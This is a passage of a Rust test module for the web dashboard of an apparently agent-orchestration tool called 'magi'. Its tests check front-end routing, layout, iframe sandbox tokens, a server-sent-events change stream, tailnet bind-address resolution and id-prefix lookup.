14863            body: "Settled as `merge`".to_owned(),
14864            at: jiff::Timestamp::now(),
14865            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
14866        });
14867        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14868        let notes = &v["thread_notes_md"];
14869        assert_eq!(notes.as_array().unwrap().len(), 2);
14870        assert!(notes[0].is_null());
14871        let text = notes[1].to_string();
14872        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
14873        assert!(APP_JS.contains("ask-turn-note"));
14874    }
14875
14876    #[test]
14877    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
14878        // The land panel defers to `run.status` for merged, and labels a
14879        // recorded-open PR on any finished run (superseded, blocked, ...) as
14880        // last seen, never as live state.
14881        assert!(APP_JS.contains("function landView(run, raw) {"));
14882        assert!(
14883            APP_JS.contains(
14884                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
14885            )
14886        );
14887        assert!(APP_JS.contains("const pr = landView(run, raw);"));
14888        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
14889        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
14890        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
14891    }
14892
14893    #[test]
14894    fn live_runs_are_never_hidden_or_folded_as_superseded() {
14895        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
14896        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
14897        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
14898        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
14899    }
14900
14901    #[test]
14902    fn review_rounds_label_a_distinct_verified_head() {
14903        assert!(APP_JS.contains("round.verified_head"));
14904        assert!(APP_JS.contains("verified HEAD"));
14905        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
14906    }
14907
14908    #[test]
14909    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
14910        // A blocked task's chip and note must not fall back to a queued-like
14911        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
14912        // itself by e11fc58 but never checked here.
14913        assert!(APP_JS.contains("blocked: { glyph:"));
14914        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
14915
14916        // `blocked_by` mixes task ids and question ids in the same list, and
14917        // the client can only tell them apart by checking each id against
14918        // what it actually knows - never by guessing from the id's shape.
14919        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
14920        assert!(
14921            APP_JS.contains(
14922                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
14923            ),
14924            "the note line must name what a blocked task is waiting on, not just that it is blocked"
14925        );
14926        // The classification must key off `status_str`, never off `blocked_by`
14927        // or `block_reason` merely being present - both can survive briefly
14928        // on a task a hold or a dead daemon just moved off `blocked`.
14929        assert!(APP_JS.contains("if (status === \"blocked\") {"));
14930
14931        // A question a task is blocked on gets its own node in the same
14932        // dependency graph, not just a task-shaped node with nothing known
14933        // about it.
14934        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
14935        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
14936        assert!(
14937            APP_JS.contains("location.hash = \"#/questions\";"),
14938            "a question node must jump to the Questions screen, not pretend to be a task"
14939        );
14940
14941        // `Task::answers` - decisions already made - are shown as a record on
14942        // the card, the same disclosure style as the full instruction.
14943        assert!(APP_JS.contains("Resolved questions"));
14944        assert!(APP_JS.contains("r.answersList.append("));
14945        assert!(APP_CSS.contains(".task-answers"));
14946        {
14947            let start = APP_JS
14948                .find("function updateTalkTaskRow")
14949                .expect("updateTalkTaskRow");
14950            let body = &APP_JS[start..];
14951            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
14952            assert!(
14953                body.contains(
14954                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
14955                ),
14956                "a chat-filed task row must link to the task page"
14957            );
14958            assert!(
14959                !body.contains("#/runs/") && !body.contains("#/queue/"),
14960                "the row must not branch to a run or the queue card"
14961            );
14962            assert!(APP_CSS.contains(".talk-task-link"));
14963        }
14964    }
14965
14966    #[test]
14967    fn a_task_notification_links_to_the_task_page() {
14968        // A task notice opens the task detail page, not the Backlog card.
14969        let start = APP_JS
14970            .find("function noticeLink(")
14971            .expect("noticeLink exists");
14972        let body = &APP_JS[start..];
14973        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
14974        assert!(
14975            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
14976            "a task notice's link must target the task page"
14977        );
14978        assert!(
14979            !body.contains("#/queue/"),
14980            "regression: the task link must not go back to the Backlog route"
14981        );
14982        assert!(
14983            APP_JS.contains(
14984                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
14985            ),
14986            "`#/tasks/<id>` must parse into the task route"
14987        );
14988
14989        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
14990        assert!(
14991            APP_JS.contains(
14992                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
14993            ),
14994            "`#/queue/<id>` must parse into a route carrying that id"
14995        );
14996
14997        // And the Backlog view has to actually land on the card once it can
14998        // - see consumeQueueFocus(), which renderQueue() calls on every pass
14999        // so a focus set before the queue has loaded is retried once it has.
15000        assert!(APP_JS.contains("state.queueFocus = route.id;"));
15001        assert!(APP_JS.contains("function consumeQueueFocus()"));
15002        assert!(APP_JS.contains("jumpToTask(id)"));
15003    }
15004
15005    /// Chat rows are two lines at every width: the title alone, then the
15006    /// shrinkable secondary info.
15007    #[test]
15008    fn chat_rows_put_the_title_alone_on_the_first_line() {
15009        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
15010        assert!(APP_CSS.contains(
15011            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
15012        ));
15013        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
15014        assert!(APP_JS.contains("class: \"badge talk-unread\""));
15015    }
15016
15017    #[test]
15018    fn run_rows_put_the_title_alone_on_the_first_line() {
15019        assert!(
15020            APP_CSS.contains(
15021                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
15022            )
15023        );
15024        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
15025        assert!(APP_JS.contains("class: \"card run-card\""));
15026        assert!(APP_JS.contains("class: \"repo run-id\""));
15027    }
15028
15029    /// Wide screens get a master/detail layout built from the views a phone
15030    /// drills into. These are string assertions: they pin the contract between
15031    /// the three assets, not how it looks.
15032    #[test]
15033    fn wide_screens_show_list_and_preview_side_by_side() {
15034        // One breakpoint, spelled the same in the script and the stylesheet.
15035        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
15036        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
15037        assert!(APP_CSS.contains("main[data-split]"));
15038        assert!(APP_CSS.contains("body[data-split]"));
15039
15040        // The route -> panes table, and a narrow screen opting out of it.
15041        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
15042        assert!(
15043            APP_JS.contains(
15044                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
15045            )
15046        );
15047        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
15048        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
15049        assert!(INDEX_HTML.contains("id=\"split-empty\""));
15050
15051        // Selection is derived from the route, and only ever paints a row.
15052        assert!(APP_JS.contains("function markSelected() {"));
15053        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
15054        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
15055        // The dense row must override the stacked card the 720px block sets up.
15056        assert!(
15057            APP_CSS.contains(
15058                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
15059            )
15060        );
15061
15062        // Independent scrolling: the page stops scrolling, each pane does.
15063        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
15064        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
15065        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
15066        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
15067
15068        // A refresh must never navigate: the loaders still check that their
15069        // subject is the one on screen, and crossing the breakpoint only
15070        // re-reads the hash.
15071        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
15072        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
15073        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
15074        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
15075
15076        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
15077        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
15078    }
15079
15080    #[test]
15081    fn panel_sandbox_carries_exactly_popups() {
15082        let needle = "sandbox: \"";
15083        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
15084        assert_eq!(
15085            matches.len(),
15086            1,
15087            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
15088        );
15089        let start = matches[0].0 + needle.len();
15090        let end = APP_JS[start..]
15091            .find('"')
15092            .expect("sandbox attribute value must be terminated by a closing quote");
15093        let val = &APP_JS[start..start + end];
15094        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
15095        let expected: std::collections::BTreeSet<&str> =
15096            ["allow-popups", "allow-popups-to-escape-sandbox"]
15097                .into_iter()
15098                .collect();
15099        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
15100        assert!(
15101            !tokens.contains("allow-scripts"),
15102            "allow-scripts must never be present in sandbox"
15103        );
15104        assert!(
15105            !tokens.contains("allow-same-origin"),
15106            "allow-same-origin must never be present in sandbox"
15107        );
15108    }
15109
15110    #[test]
15111    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
15112        // consumeQueueFocus() clears an active Backlog search before it can
15113        // scroll to the target card (the sections list is hidden while a
15114        // search is showing), by recursing back into renderQueue(). The
15115        // fixer's first cut nulled state.queueFocus before that recursive
15116        // call, so the second pass saw nothing to jump to and the jump was
15117        // silently dropped whenever a notification's link was opened with a
15118        // stale search still active. state.queueFocus must only be cleared
15119        // right before jumpToTask() actually runs.
15120        assert!(
15121            APP_JS.contains(
15122                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
15123            ),
15124            "the search-clearing branch must run before state.queueFocus is cleared, or the \
15125             recursive renderQueue() call has nothing left to jump to"
15126        );
15127        assert!(
15128            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
15129            "state.queueFocus must be cleared only once the jump has landed, so a card that \
15130             arrives later still gets it"
15131        );
15132        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
15133        assert!(APP_JS.contains("is not in the current Backlog."));
15134        assert!(APP_JS.contains("li.card[data-task-id=\""));
15135        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
15136        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
15137        assert!(APP_CSS.contains(".card-permalink"));
15138        assert!(APP_CSS.contains(".queue-focus-status"));
15139        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
15140    }
15141
15142    #[test]
15143    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
15144        // The task's own repro: only the link text inside .notice-meta was
15145        // clickable, so a tap on the message, the timestamp, or the card's
15146        // padding did nothing - on a phone that reads as "the card doesn't
15147        // work" even though the tiny link inside it did. Mark read / Dismiss
15148        // must keep working independently of this: `.closest("a, button")`
15149        // is what lets a tap that actually lands on those elements fall
15150        // through instead of being hijacked into a navigation.
15151        assert!(
15152            APP_JS.contains(
15153                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
15154            ),
15155            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
15156        );
15157    }
15158
15159    #[test]
15160    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
15161        assert!(
15162            APP_JS.contains("round.verified_head !== round.head"),
15163            "a round that verified an earlier commit must be visibly distinct from one that \
15164             verified the head reviewers are looking at now"
15165        );
15166        assert!(
15167            APP_JS.contains("round.verified_at"),
15168            "when a check ran must be on the wire, not just which commit"
15169        );
15170        assert!(
15171            APP_JS.contains("resource_blocked"),
15172            "a command magi never got to run (shared build cache contention) must not render \
15173             the same as a command that ran and failed"
15174        );
15175    }
15176
15177    #[test]
15178    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
15179        // Every KPI tile but Total runs and Completion names an exact
15180        // RunStatus and hands it to openRunsFiltered(), which is what wires
15181        // the click into state.runsFilter.status (matchesFilter's own
15182        // status check) rather than the coarser runsStateFilter chips. Each
15183        // status literal here must be one of the strings runSection() (and
15184        // isStale()) actually compare a run's own `status` field against -
15185        // a status this dashboard invented would filter to nothing.
15186        assert!(
15187            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
15188            "every KPI tile built through statusTile() must route its click through \
15189             openRunsFiltered, the single place that sets the Runs filter"
15190        );
15191        for (label, status) in [
15192            ("Merged", "merged"),
15193            ("Ready", "ready"),
15194            ("Blocked", "blocked"),
15195            ("Stalled", "stalled"),
15196        ] {
15197            let call = format!("statusTile(\"{label}\", t.{status}, ");
15198            assert!(
15199                APP_JS.contains(&call),
15200                "expected the {label} KPI tile built via {call}..."
15201            );
15202            assert!(
15203                APP_JS.contains(&format!("status === \"{status}\"")),
15204                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
15205                 compare a run against, not one invented only for the stats tile"
15206            );
15207        }
15208        assert!(
15209            APP_JS.contains("function openRunsFiltered(status)"),
15210            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
15211        );
15212        assert!(
15213            APP_JS.contains(
15214                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
15215            ),
15216            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
15217        );
15218        // applyRoute() only flips which view is visible for a plain `#runs`
15219        // hash - it does not itself redraw the list (see applyRoute's own
15220        // handling below) - so openRunsFiltered must call renderRuns()
15221        // itself, and must call applyRoute() too so the view flips even
15222        // when the hash string doesn't change (the operator may already be
15223        // on the Runs view when a tile is tapped, which fires no
15224        // hashchange event at all).
15225        assert!(
15226            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
15227            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
15228             hashchange event that may never fire"
15229        );
15230    }
15231
15232    #[test]
15233    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
15234        // A stats tile can leave state.runsFilter.status set to something
15235        // done-by-construction (e.g. "merged") - picking "Active" afterward
15236        // must drop it the same way an incompatible tree section is already
15237        // dropped, or the Runs list renders permanently empty with no way
15238        // for the operator to tell why.
15239        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
15240        assert!(
15241            APP_JS.contains(
15242                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
15243            ),
15244            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
15245             guard for an incompatible tree section"
15246        );
15247    }
15248
15249    #[test]
15250    fn every_stats_queue_tile_names_a_real_queue_section() {
15251        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
15252        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
15253        // (consumeQueueSectionFocus finds no matching <details> and drops
15254        // the focus) rather than fail loudly, so pin every key against the
15255        // section list it has to resolve against.
15256        assert!(
15257            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
15258            "every queue tile built through sectionTile() must route its click through \
15259             openQueueSectionFocus"
15260        );
15261        for key in ["upnext", "running", "done", "held", "blocked"] {
15262            assert!(
15263                APP_JS.contains(&format!("{{ key: \"{key}\",")),
15264                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
15265            );
15266        }
15267        // Queued and Failed intentionally both resolve to "upnext" - the
15268        // same section queueSection() itself files them under - rather than
15269        // getting a section each.
15270        for line in [
15271            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
15272            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
15273            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
15274            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
15275            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
15276            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
15277        ] {
15278            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
15279        }
15280    }
15281
15282    #[test]
15283    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
15284        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
15285        // above for the section-focus channel a stats queue tile drives:
15286        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
15287        // through the stale-search-clear recursion into renderQueue(), and
15288        // clear it only once revealQueueSection() is actually about to run -
15289        // the same trap that once silently dropped a task-focus jump.
15290        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
15291        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
15292        assert!(APP_JS.contains("function revealQueueSection(details)"));
15293        assert!(
15294            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
15295            "renderQueue() must consume both focus channels on every pass"
15296        );
15297        assert!(
15298            APP_JS.contains(
15299                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
15300            ),
15301            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
15302             the recursive renderQueue() call has nothing left to reveal"
15303        );
15304        assert!(
15305            APP_JS.contains(
15306                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
15307            ),
15308            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
15309        );
15310        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
15311        // task-focus form of the hash - a plain `#queue` navigation only
15312        // flips which view is visible. openQueueSectionFocus() must
15313        // therefore call renderQueue() itself, and applyRoute() too so the
15314        // view flips even when the hash doesn't change (the Backlog may
15315        // already be open when a tile is tapped, firing no hashchange
15316        // event at all).
15317        assert!(
15318            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
15319            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
15320             hashchange event that may never fire"
15321        );
15322    }
15323
15324    #[tokio::test]
15325    async fn the_change_stream_announces_the_current_revisions_on_connect() {
15326        let f = Fixture::start().await;
15327
15328        let mut socket = tokio::net::TcpStream::connect(f.addr)
15329            .await
15330            .expect("connect");
15331        socket
15332            .write_all(
15333                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
15334            )
15335            .await
15336            .expect("write request");
15337
15338        // Read until the first event arrives rather than to end of stream: the
15339        // stream is endless by design, which is the point of the route.
15340        let mut seen = String::new();
15341        let mut buf = [0u8; 1024];
15342        while !seen.contains("event: change") {
15343            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
15344                .await
15345                .expect("the stream must speak within five seconds")
15346                .expect("read");
15347            assert!(read > 0, "the server closed the change stream: {seen}");
15348            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
15349        }
15350
15351        assert!(
15352            seen.to_lowercase()
15353                .contains("content-type: text/event-stream"),
15354            "the browser only reconnects automatically for a real SSE stream: {seen}"
15355        );
15356        let data = seen
15357            .lines()
15358            .find_map(|l| l.strip_prefix("data:"))
15359            .expect("a data line");
15360        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
15361        assert!(
15362            payload["queue_rev"].is_u64()
15363                && payload["runs_rev"].is_u64()
15364                && payload["questions_rev"].is_u64()
15365                && payload["talks_rev"].is_u64()
15366                && payload["notifications_rev"].is_u64()
15367                && payload["loop_rev"].is_u64(),
15368            "the client needs one revision per store to know what to refetch, \
15369             and `talks_rev` is the only notification a standing talk gets - a \
15370             phone whose radio slept through a turn learns about it here, as \
15371             does one whose operator started the loop from another device: \
15372             {payload}"
15373        );
15374
15375        // The front end re-polls health on a timer and on wake, and takes the
15376        // revisions from that answer whenever the stream is not up. So health
15377        // has to carry every key the stream carries: a phone on a link that
15378        // will not hold an SSE connection is exactly the phone that must still
15379        // notice a question, and a missing key there is not a 500 but a UI
15380        // that quietly stops updating.
15381        let health = f.get("/api/health").await.json();
15382        for key in [
15383            "queue_rev",
15384            "runs_rev",
15385            "questions_rev",
15386            "talks_rev",
15387            "notifications_rev",
15388            "loop_rev",
15389        ] {
15390            assert!(
15391                health[key].is_u64(),
15392                "health is the change stream's fallback and is missing `{key}`: {health}"
15393            );
15394        }
15395    }
15396
15397    #[tokio::test]
15398    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
15399        let f = Fixture::start().await;
15400        let before = f.get("/api/health").await.json()["talks_rev"]
15401            .as_u64()
15402            .expect("talks_rev");
15403
15404        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
15405        std::thread::sleep(Duration::from_millis(10));
15406        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
15407        on_disk.turns.push(crate::talk::Turn {
15408            breaks: Some(Vec::new()),
15409            messages: Vec::new(),
15410            posted_by: None,
15411            who: crate::talk::Who::Operator,
15412            body: "a new turn".to_owned(),
15413            at: Timestamp::now(),
15414            attachments: Vec::new(),
15415            usage: None,
15416        });
15417        f.talks().put(&mut on_disk).expect("record a turn");
15418
15419        let after = f.get("/api/health").await.json()["talks_rev"]
15420            .as_u64()
15421            .expect("talks_rev");
15422        assert_ne!(
15423            before, after,
15424            "a phone must be able to notice a talk's reply without polling every store"
15425        );
15426    }
15427
15428    #[test]
15429    fn bind_reads_back_from_the_spelling_the_cli_prints() {
15430        // The CLI shows the default in `--help` and parses whatever comes
15431        // back, so the two directions have to agree or `--bind auto` breaks
15432        // the moment someone copies the help text.
15433        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
15434            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
15435        }
15436        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
15437        assert!("everywhere".parse::<Bind>().is_err());
15438    }
15439
15440    #[test]
15441    fn an_explicit_bind_address_is_taken_verbatim() {
15442        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
15443
15444        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
15445
15446        assert_eq!(addr, asked);
15447        assert!(
15448            warning.is_none(),
15449            "an operator who named an address gets no lecture"
15450        );
15451    }
15452
15453    #[test]
15454    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
15455        let (addr, warning) = resolve_bind(&Bind::Auto);
15456
15457        // This has to hold on a CI runner with no `tailscale` and on a dev box
15458        // with one, so the invariant asserted is the one shared by both
15459        // outcomes: the address is either a real tailnet address offered
15460        // without comment, or loopback with an explanation. What must never
15461        // happen is a silent fallback - an operator told "listening on
15462        // 127.0.0.1" with no reason would go looking for a firewall.
15463        match addr {
15464            IpAddr::V4(ip) if is_tailnet(&ip) => {
15465                assert!(warning.is_none(), "a tailnet address needs no warning");
15466            }
15467            other => {
15468                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
15469                let warning = warning.expect("a fallback has to explain itself");
15470                assert!(
15471                    warning.contains("127.0.0.1") && warning.contains("local-only"),
15472                    "the warning says what happened and what it costs: {warning}"
15473                );
15474            }
15475        }
15476    }
15477
15478    #[test]
15479    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
15480        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
15481        // boundary cases are what stop us binding to some other tool's idea of
15482        // an address.
15483        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
15484        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
15485        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
15486        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
15487        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
15488    }
15489
15490    #[test]
15491    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
15492        let ids = vec![
15493            "20260902-140501-aaaa".to_owned(),
15494            "20260902-140502-aabb".to_owned(),
15495        ];
15496
15497        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
15498        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
15499        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
15500
15501        assert_eq!(missing.status, StatusCode::NOT_FOUND);
15502        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
15503        assert_eq!(short, "20260902-140502-aabb");
15504    }
15505    #[tokio::test]
15506    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
15507        // The prompt tells agents to reference attachments by bare filename.
15508        // A document served at `.../panel` resolves `shot.png` against its own
15509        // directory, i.e. `.../shot.png`, which is not the asset route - so a
15510        // panel written exactly as instructed showed broken images. Caught by
15511        // looking at a real one in a browser, not by reading the code.
15512        let fx = Fixture::start().await;
15513        let id = panel(
15514            &fx,
15515            "<img src=\"shot.png\">",
15516            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
15517        );
15518
15519        // The frame's own URL ends in a filename, so its siblings are reachable.
15520        let doc = fx
15521            .get(&format!("/api/questions/{id}/panel/index.html"))
15522            .await;
15523        assert_eq!(doc.status, 200, "{}", doc.body);
15524        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
15525
15526        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
15527        assert_eq!(sibling.status, 200, "{}", sibling.body);
15528        assert_eq!(sibling.header("content-type"), Some("image/png"));
15529        assert_eq!(
15530            sibling.header("content-security-policy"),
15531            Some(PANEL_CSP),
15532            "the sibling route must carry the same policy as the asset route"
15533        );
15534
15535        // The original spelling keeps working: HEAD on it is how the front end
15536        // decides whether to mount a frame at all.
15537        assert_eq!(
15538            fx.head(&format!("/api/questions/{id}/panel")).await.status,
15539            200
15540        );
15541    }
15542
15543    #[test]
15544    fn delta_stamps_cover_add_update_remove_and_noop() {
15545        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
15546        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
15547        let delta = diff_stamps(&before, &after, 42);
15548        assert_eq!(delta.base, 42);
15549        assert_eq!(delta.changed, ["b", "c"]);
15550        assert_eq!(delta.removed, ["a"]);
15551        let same = diff_stamps(&after, &after, 43);
15552        assert!(same.changed.is_empty() && same.removed.is_empty());
15553        assert_ne!(stamps_revision(&before), stamps_revision(&after));
15554        let nanos: Stamps = [("b".into(), (2, 20))].into();
15555        let same_ms: Stamps = [("b".into(), (3, 20))].into();
15556        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
15557        assert_eq!(stamps_revision(&Stamps::new()), 0);
15558    }
15559
15560    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
15561        std::fs::create_dir_all(home.join("runs")).unwrap();
15562        Arc::new(Ui::new(
15563            Queue::at(home.join("queue")),
15564            Questions::at(home.join("questions")),
15565            Talks::at(home.join("talks")),
15566            home.join("runs"),
15567            home.to_owned(),
15568            PathBuf::from("/repo/magi"),
15569        ))
15570    }
15571
15572    #[tokio::test]
15573    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
15574        let home = TempDir::new().unwrap();
15575        let ui = delta_test_ui(home.path());
15576        let mut task = Task::new(
15577            "stream task".into(),
15578            "text".into(),
15579            PathBuf::from("/repo"),
15580            Source::Human,
15581        );
15582        ui.queue.put(&mut task).unwrap();
15583        let response = events(State(ui.clone())).await.into_response();
15584        let mut stream = response.into_body().into_data_stream();
15585        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
15586            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
15587                .await
15588                .unwrap()
15589                .unwrap()
15590                .unwrap();
15591            let text = String::from_utf8(chunk.to_vec()).unwrap();
15592            let data = text
15593                .lines()
15594                .find_map(|line| {
15595                    line.strip_prefix("data: ")
15596                        .or_else(|| line.strip_prefix("data:"))
15597                })
15598                .unwrap();
15599            serde_json::from_str(data).unwrap()
15600        }
15601        let initial = change(&mut stream).await;
15602        assert!(initial.get("queue_delta").is_none());
15603        task.instruction.push_str(" changed");
15604        ui.queue.put(&mut task).unwrap();
15605        let updated = change(&mut stream).await;
15606        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
15607        assert_eq!(
15608            updated["queue_delta"]["changed"],
15609            serde_json::json!([task.id])
15610        );
15611        assert_eq!(
15612            updated["queue_rev"].as_u64(),
15613            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
15614        );
15615        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
15616        let removed = change(&mut stream).await;
15617        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
15618        assert_eq!(
15619            removed["queue_delta"]["removed"],
15620            serde_json::json!([task.id])
15621        );
15622    }
15623
15624    #[tokio::test]
